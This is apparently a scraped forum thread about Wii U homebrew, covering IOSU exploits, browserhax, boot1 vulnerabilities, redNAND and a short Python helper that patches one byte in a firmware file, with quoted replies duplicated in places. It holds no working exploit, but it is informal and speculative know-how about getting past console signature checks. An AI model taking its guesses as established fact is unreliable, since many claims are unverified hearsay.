basically, ye, need to find a function where the binary loads itself in which is normally done by boot1 but you have to mount an external media device, load in modded code, and clean up, smea suggested loading up system settings after pwning cause it does a full os reset, all done in 0x5D0 bytes according to Hillary, have to basically make IOSU work for you

If a IOSU exploit comes to browserhax you would just run the .elf and it will gain the permissions by itself. In order to use the fw.img you need to already have an IOSU exploit or some other wizardry.
what about taking that Hillary thing where it says 'insert rop chain here' in the main.c and take the main.c from compiled wupserver and pasting that in there? would that do something?
ROP!=Compiled code
The thing trump made, in the source I think used hillarys main.c so he put his 'rop chain' stuff where it said to.ROP!=Compiled code
Also, I guess you can't just paste any code and hope it runs
sadly
He presumibly have a boot1 vulnerability that let him get full control early on boot; then he make boot1 skip signature checks (or patch mcp and reload it from there?) and he has rednand. BTW, he didn't install channels to sysnand
No. He booted straight into redNAND.
No. He booted straight into redNAND.
So the iosuhax generated fw.img is intended to be written to the SD card and loaded from right? It also has the patch to redirect anything from sysNAND's fw to itself. Now before that's booted from automatically on boot he had a boot1 command to boot from SD? and that part he didn't make public? With the iosu kernel exploit that is public now, does it have the ability to access that early in the boot chain?
There still aren't any public boot exploit.
)
to boot the dumper? was it in the GitHub?There still aren't any public boot exploit.
To boot that thing you'll need to manuay trigger the exploit I guess (browserhax again
Here:
def encrypt(self, file, offset):
file.seek(0x497DC3)
file.write('02'.decode('hex')) def encrypt(self, file, offset):
file.seek(0x497DC3)
file.write('\x02') def encrypt(self, file, offset):
value = '02' # So it would be changeable in an easy way
file.seek(0x497DC3)
file.write(value.decode('hex'))
